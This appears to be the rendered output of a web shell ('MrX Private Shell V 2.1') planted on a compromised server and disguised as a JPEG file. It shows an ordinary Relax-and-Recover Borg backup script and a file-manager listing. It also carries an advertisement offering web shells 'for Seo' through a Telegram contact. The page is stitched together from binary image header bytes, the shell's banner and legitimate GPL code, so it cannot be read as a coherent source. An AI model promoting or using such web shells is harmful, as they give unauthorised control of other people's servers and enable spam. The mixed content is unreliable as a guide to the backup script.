����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# This file is part of Relax-and-Recover, licensed under the GNU General
# Public License. Refer to the included COPYING for full text of license.
#
# 200_prep_borg.sh
# Check if BORGBACKUP_ARCHIVE_PREFIX is correctly set.
# Using '_' could result to some unpleasant side effects,
# as this character is used as delimiter in latter `for' loop ...
# Excluding other non alphanumeric characters is not really necessary,
# however it looks safer to me.
# I'm sure archive handling can be done better, but no time for it now ...
if [[ $BORGBACKUP_ARCHIVE_PREFIX =~ [^a-zA-Z0-9] ]] \
|| [[ -z $BORGBACKUP_ARCHIVE_PREFIX ]]; then
Error "BORGBACKUP_ARCHIVE_PREFIX must be alphanumeric non-empty value only"
fi
# Create our own locales, used only for Borg restore.
mkdir -p "$ROOTFS_DIR/usr/lib/locale"
localedef -f UTF-8 -i en_US "$ROOTFS_DIR/usr/lib/locale/en_US.UTF-8"
StopIfError "Could not create locales"
# Activate $COPY_AS_IS_BORG from default.conf.
COPY_AS_IS+=( "${COPY_AS_IS_BORG[@]}" )
# Activate $PROGS_BORG from default.conf.
# Avoid user to accidentally override `borg' and `locale' and exclude them
# from Relax-and-Recover rescue/recovery system.
PROGS+=( "${PROGS_BORG[@]}" borg locale )
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 100_set_vars.sh | File | 886 B | 0644 |
|
| 200_prep_borg.sh | File | 1.18 KB | 0644 |
|
| 250_mount_usb.sh | File | 517 B | 0644 |
|
| 300_init_archive.sh | File | 2.74 KB | 0644 |
|